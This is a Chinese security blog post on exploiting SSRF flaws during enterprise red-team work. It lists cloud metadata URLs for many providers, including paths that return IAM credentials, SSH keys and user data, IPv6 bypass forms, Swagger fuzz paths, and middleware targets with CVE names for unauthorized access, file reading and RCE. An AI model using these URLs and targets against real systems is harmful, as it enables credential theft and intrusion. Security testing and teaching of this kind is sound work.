首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >蓝军技巧之SSRF利用方法

蓝军技巧之SSRF利用方法

作者头像
瓦都剋
发布于 2022-03-30 08:32:32
发布于 2022-03-30 08:32:32
2.3K01
代码可运行
举报
文章被收录于专栏:安全泰式柑汁安全泰式柑汁
运行总次数:1
代码可运行

前言

SSRF漏洞在互联网公司中应该是除了越权之外最普遍的漏洞了。关于漏洞的原理,绕过,传统的扫端口、各种探测等利用方式等就不再赘述,这里分享下自己作为企业蓝军中常用的一些SSRF的利用途径。

0x01 Cloud Metadata

就是各种云上的元数据信息,有些可直接拿到主机权限,有些可获取一些敏感信息。

1.1 AWS

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key

# ECS Task : https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-metadata-endpoint-v2.html
http://169.254.170.2/v2/credentials/

1.2 Google Cloud

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#  https://cloud.google.com/compute/docs/metadata
#  - Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True" on API v1
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
# kube-env; thanks to JackMc for the heads up on this (https://hackerone.com/reports/341876)
http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env
# Google allows recursive pulls
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
# returns root password for Google
http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json

1.3 Digital Ocean

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# https://developers.digitalocean.com/documentation/metadata/
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

1.4 Packetcloud

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
https://metadata.packet.net/userdata

1.5 Azure

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service
# Header: "Metadata: true"
# (Old) https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

1.6 Oracle Cloud

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# https://docs.us-phoenix-1.oraclecloud.com/Content/Compute/Tasks/gettingmetadata.htm
http://169.254.169.254/opc/v1/instance/
# https://docs.oracle.com/en/cloud/iaas/compute-iaas-cloud/stcsg/retrieving-instance-metadata.html
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/

1.7 阿里云

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# https://www.alibabacloud.com/help/faq-detail/49122.htm
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id

1.8 OpenStack

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# https://docs.openstack.org/nova/latest/user/metadata-service.html
http://169.254.169.254/openstack
http://169.254.169.254/openstack/2012-08-10/meta_data.json
http://169.254.169.254/openstack/2018-08-27/network_data.json

1.9 Kubernetes

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# Debug Services (https://kubernetes.io/docs/tasks/debug-application-cluster/debug-service/)
https://kubernetes.default.svc.cluster.local
https://kubernetes.default
# https://twitter.com/Random_Robbie/status/1072242182306832384
https://kubernetes.default.svc/metrics

1.10 腾讯云

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# https://cloud.tencent.com/document/product/213/4934
http://metadata.tencentyun.com/latest/meta-data/
http://169.254.0.23/latest/meta-data/
http://100.88.222.5/

1.11 IPv6 Tests

大部分云主机都是支持IPv6的,所以绕过的时候可以尝试下

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:169.254.169.254]

1.12 华为云

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# https://support.huaweicloud.com/usermanual-ecs/ecs_03_0166.html
http://169.254.169.254/openstack/latest/meta_data.json
http://169.254.169.254/openstack/latest/user_data
http://169.254.169.254/openstack/latest/network_data.json
http://169.254.169.254/openstack/latest/securitykey

0x02 中间件

利用SSRF攻击传统的组件、CMS等的常用途径不再赘述,这里举一些在大部分互联网公司中常用的 能够被SSRF进一步利用的中间件

2.1 Apollo

利用点:

  • 未授权访问
    • https://github.com/apolloconfig/apollo/issues/2099 直接获取各种配置信息,各种账密、AK、数据库

2.2 Erueka

利用点:

  • 未授权访问
    • Erueka未授权访问漏洞。通过内网Eruaka未授权,可获取到大量注册的应用,若运气好,直接可定位到核心组件和核心服务。

2.3 JumpServer

利用点:

  • RCE:
    • JumpServer远程代码执行漏洞。JumpServer的这个漏洞最开始基本上都是在Nginx层做的拦截,如果直接找到Jumpserver的后端端口,可直接尝试利用漏洞RCE。

2.4 Grafana

利用点:

  • 文件读取
    • CVE-2021-43798任意文件读取。内网的组件大多比较脆弱,直接读Grafana的DB文件,得到的基本上都是比较重要的DB账号密码。

2.5 K8s

利用点:

  • 各种未授权访问
    • 这个比较大,不一一说了,纯属看运气了。比如常见的:API Server / etcd / kubectl proxy / kubelet / Docker Remote API / dashboard等等等

2.6 大数据相关

利用点:

  • 未授权访问
  • 文件读取
  • RCE

大数据生态组件也非常多,大多利用未授权访问、文件读取漏洞进行信息获取,部分可进行RCE。

2.7 SpringBoot Actuator

利用点:

  • 未授权访问:
    • 很多Actuator的端点拦截只是对外网而言,有些是在Nginx过滤了 或者在 filter设置的只允许内部网络访问,通过SSRF就可以直接未授权获取各种数据,直接下载heapdump获取数据。
  • 文件读取:
    • Logview CVE-2021-21234
  • RCE:
    • Gateway SPEL 代码注入 (CVE-2022-22947)
    • 修改env端点属性
      • eureka xstream deserialization
      • SnakeYAML RCE
      • Jolokia Realm JNDI RCE
      • H2 RCE

2.8 内网业务应用

这里有个小技巧,先搞应用的API文档,大部分内网调用的服务很多都不做权限校验的,直接请求接口运气好的直接搞到核心数据

API文档的Fuzz URI

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
doc.html
swagger-ui.html
swagger/swagger-ui.html
api/swagger-ui.html
api/doc.html
swagger/index.html
druid/index.html
spring-security-rest/api/swagger-ui.html
spring-security-oauth-resource/swagger-ui.html
swagger/v1/swagger.json
swagger/v2/swagger.json
api-docs
v1/api-docs
v2/api-docs
...

2.9 Confluence

利用点:

  • SPEL RCE
    • CVE-2021-26084 Remote Code Execution on Confluence Servers

2.10 Elasticsearch

利用点:

  • 未授权访问:
  • 运气好的直接搞到运维或中间件的ES
    • 是应用ES的话找访问日志的索引和操作日志的索引
    • 是运维ES的话找应用stdout/stderr/logback等的索引
  • RCE:
    • log4j(我不会告诉你 国内TOP3云厂商卖的ES服务还有log4j漏洞呢)

2.11 阿里Druid

利用点:

  • 未授权访问
  • 找URI
  • 找Session
  • 找SQL(往SQL注入靠)

2.12 Apache Druid

利用点:

  • 未授权访问
    • Dashboard
  • 文件读取
    • CVE-2021-36749 Apache Druid LoadData 任意文件读取
  • RCE
    • Apache Druid 远程代码执行漏洞(CVE-2021-26919)
    • 结合未授权 Apache Druid 命令执行漏洞(CVE-2021-25646)

2.13 APISIX

利用点:

  • 未授权访问
    • CVE-2021-45232 APISIX Dashboard未授权访问漏洞

2.14 Jenkins

利用点:

  • 未授权访问
    • Groovy 脚本控制台 RCE
  • RCE
    • CVE-2018-1000861
    • CVE-2019-1003000
后记

前天无意间打开微信公众平台,进去看到加了200多个粉丝,让一年多没更新的我感到无比愧疚,愧对大哥们的关注。其实我笔记里面有非常多想要分享的话题,包括了运维相关、企业架构、蓝军、企业安全建设、云原生、HIDS、NIDS等等(虽然都不咋懂),但是比较忙一直没写,以后尽量一个月搞个3篇以上。

再次谢谢大哥们的厚爱了,大家一块进步呀。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-03-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 小宝的安全学习笔记 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
一文拿下SSRF攻击利用及绕过保护机制
断断续续地继续漏洞之旅,这次讨论一下一个常见web漏洞:SSRF,浅析一下它是如何导致攻击者进入网络,以及如何发现它并且利用。
字节脉搏实验室
2020/07/24
5.5K0
SSRF 从入门到批量找漏洞
如下是 example.com 去请求 http://google.com 的流程
信安之路
2019/03/18
4K0
SSRF 从入门到批量找漏洞
使用SSRF泄漏云环境中的Metadata数据实现RCE
本文我将向大家分享一个新的非常有意思的漏洞。利用该漏洞可以为我们泄漏云环境中的Metadata数据,并进一步的实现远程代码执行(RCE )。
FB客服
2019/05/09
2.7K0
使用SSRF泄漏云环境中的Metadata数据实现RCE
将SSRF升级为RCE
今天我照例要和大家分享一个新的多汁漏洞。 这个问题是在一个私人客户中发现的,所以我们称之为redacted.com。 探索范围。 在列举客户的域为子域的时候,我发现子域[docs]。我发现子域[docs]。 我出来到这个子域[docs.redact.com]。 寻找带外资源负载。 [docs]子域显示了一些文件和统计资料。 当点击一个统计的照片时,我看到了一种奇怪的,但不是一个神奇的链接: 我首先想到的是把[url]的值改为generaleg0x01.com 然后我注意到了[mimeType]参数,所以编辑
Khan安全团队
2021/01/11
2.2K0
将SSRF升级为RCE
云上攻防-云服务篇&弹性计算&云数据库&实例元数据&控制角色&AK控制台接管
细节方面可通过访问官网找元数据访问触发说明,阿里云示例: https://help.aliyun.com/zh/ecs/user-guide/manage-instance-metadata
没事就要多学习
2024/07/18
2390
云上攻防-云服务篇&弹性计算&云数据库&实例元数据&控制角色&AK控制台接管
[翻译]盲SSRF利用链术语表
SSRF(Server-Side Request Forgery:服务请求伪造)是一种由攻击者构造,从而让服务端发起请求的一种安全漏洞,它将一个可以发起网络请求的服务当作跳板来攻击其他服务,SSRF的攻击目标一般是内网。当服务端提供了从其他服务器获取数据的功能(如:从指定URL地址获取网页文本内容、加载指定地址的图片、下载等),但是没有对目标地址做过滤与限制时就会出现SSRF。
天钧
2021/10/08
2.3K0
[翻译]盲SSRF利用链术语表
云的声音|​浅谈云上攻防之——元数据服务带来的安全挑战
前言 在针对云上业务的的攻击事件中,很多攻击者将攻击脆弱的元数据服务作为攻击流程中重要的一个环节并最终造成了严重的危害。 以2019年的美国第一资本投资国际集团(CapitalOne)信息泄露事件举例,根据《ACase Study of the Capital One Data Breach》报告指出,攻击者利用CapitalOne部署在AWS云上实例中的SSRF漏洞向元数据服务发送请求并获取角色的临时凭证,在获取角色临时凭据后将该角色权限下的S3存储桶中的数据复制到攻击者的本地机器上,最终导致这一
云鼎实验室
2021/06/10
1.4K0
Cloud RedTeam视角下元数据服务攻防实践
纵观云上的攻击事件,以及近期的一些热点事件,大家不难发现,元数据服务攻击事件频繁的发生。在云产业不断发展壮大的当今,元数据服务已经成为了攻击者攻击流程中的一个重要的环节。我们从攻击者的视角来分析攻击流程中元数据服务所面临的风险,也可以更好地迎战元数据服务带来的安全挑战。
火线安全
2022/03/14
1.7K0
Cloud RedTeam视角下元数据服务攻防实践
什么是服务器端请求伪造 (SSRF)?
本文翻译http://acunetix.com/blog/articles/server-side-request-forgery-vulnerability/
黑伞安全
2022/01/26
1.6K0
什么是服务器端请求伪造 (SSRF)?
SVG SSRF 绕过
我正在测试一个应用程序,它是一个基于 Web 的分析解决方案,它与世界各地的研究机构打交道,以分析新出现的研究趋势并创建报告。
Khan安全团队
2022/04/12
1.6K0
16-cloud-init
cloud-init是linux的一个工具,当云主机启动系统,cloud-init可从nova metadata服务或者config drive中获取metadata,用于初始化云主机的操作。
小朋友呢
2020/01/07
2.9K0
CVE-2024-21893:Ivanti Connect Secure SSRF to RCE
Ivanti Connect Secure 为远程和移动用户提供了一个无缝的、具有成本效益的SSL VPN 解决方案,使他们能随时随地从任何可上网的设备访问企业资源。
Timeline Sec
2024/03/26
1.8K0
CVE-2024-21893:Ivanti Connect Secure SSRF to RCE
对印度某电子商务公司从LFI到数据库获取的渗透测试过程
本文分享的是作者在渗透测试过程中,通过不同漏洞的组合利用,最终拿下印度某大型电子商务公司数据库权限。(文章已经相关公司许可发布)。
FB客服
2019/05/09
1.7K0
对印度某电子商务公司从LFI到数据库获取的渗透测试过程
在本地KVM中安装使用Cloud-init
Cloud-init是一个Linux虚拟机的初始化工具,被广泛应用在AWS和OpenStack等云平台中,用于在新建的虚拟机中进行时间设置、密码设置、扩展分区、安装软件包等初始化设置。本文主要研究在本地KVM虚拟机,也就是没有云平台的情况下,如何使用cloud-init进行初始化工作。示例虚拟机的操作系统是CentOS 7.1。
星哥玩云
2022/07/13
1.9K0
Swagger未授权访问漏洞
Swagger是一个规范和完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务。总体目标是使客户端和文件系统作为服务器以同样的速度来更新。相关的方法,参数和模型紧密集成到服务器端的代码,允许API来始终保持同步。Swagger-UI会根据开发人员在代码中的设置来自动生成API说明文档,若存在相关的配置缺陷,攻击者可以未授权翻查Swagger接口文档,得到系统功能API接口的详细参数,再构造参数发包,通过回显获取系统大量的敏感信息。
LuckySec
2022/11/11
55.1K0
Swagger未授权访问漏洞
Botb:容器分析和漏洞利用工具
BOtB(Break out the Box)是一款容器分析和漏洞利用工具,其主要是为渗透测试人员和工程师所设计的。
FB客服
2019/10/22
1.4K0
浅谈云上攻防——Web应用托管服务中的元数据安全隐患
前言 Web应用托管服务是一种常见的平台即服务产品(PaaS),可以用来运行并管理Web类、移动类和API类应用程序。Web应用托管服务的出现,有效地避免了应用开发过程中繁琐的服务器搭建及运维,使开发者可以专注于业务逻辑的实现。在无需管理底层基础设施的情况下,即可简单、有效并且灵活地对应用进行部署、伸缩、调整和监控。 Web应用托管服务作为一种云上服务,其中也会应用到的元数据服务进行实例元数据查询,因此不得不考虑元数据服务安全对Web应用托管服务安全性的影响。 通过“浅谈云上攻防”系列文章《浅谈云上攻
云鼎实验室
2021/07/12
4.3K0
实战|我的SRC挖掘-如何一个洞拿下百分QAQ
在goby乱扫的开始,我也是菜弟弟一样,看到什么都没感觉,直到有个师傅提醒了我:这不是Sprint boot框架么,洞这么多还拿不下?
F12sec
2022/09/29
9550
实战|我的SRC挖掘-如何一个洞拿下百分QAQ
部署 cinder-csi-plugin 遇到的几个问题
Kubernetes集群的Pod使用Openstack Cinder作为后端存储,需要部署cinder-csi-plugin
后端云
2022/06/09
1.1K0
部署 cinder-csi-plugin 遇到的几个问题
干货 | vCenter 漏洞利用总结
**VMware Inc ** 是一家软件公司。它开发了许多产品,尤其是各种云解决方案 。它的云解决方案包括云产品,数据中心产品和桌面产品等。
HACK学习
2023/01/03
6.8K0
干货 | vCenter 漏洞利用总结
推荐阅读
相关推荐
一文拿下SSRF攻击利用及绕过保护机制
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档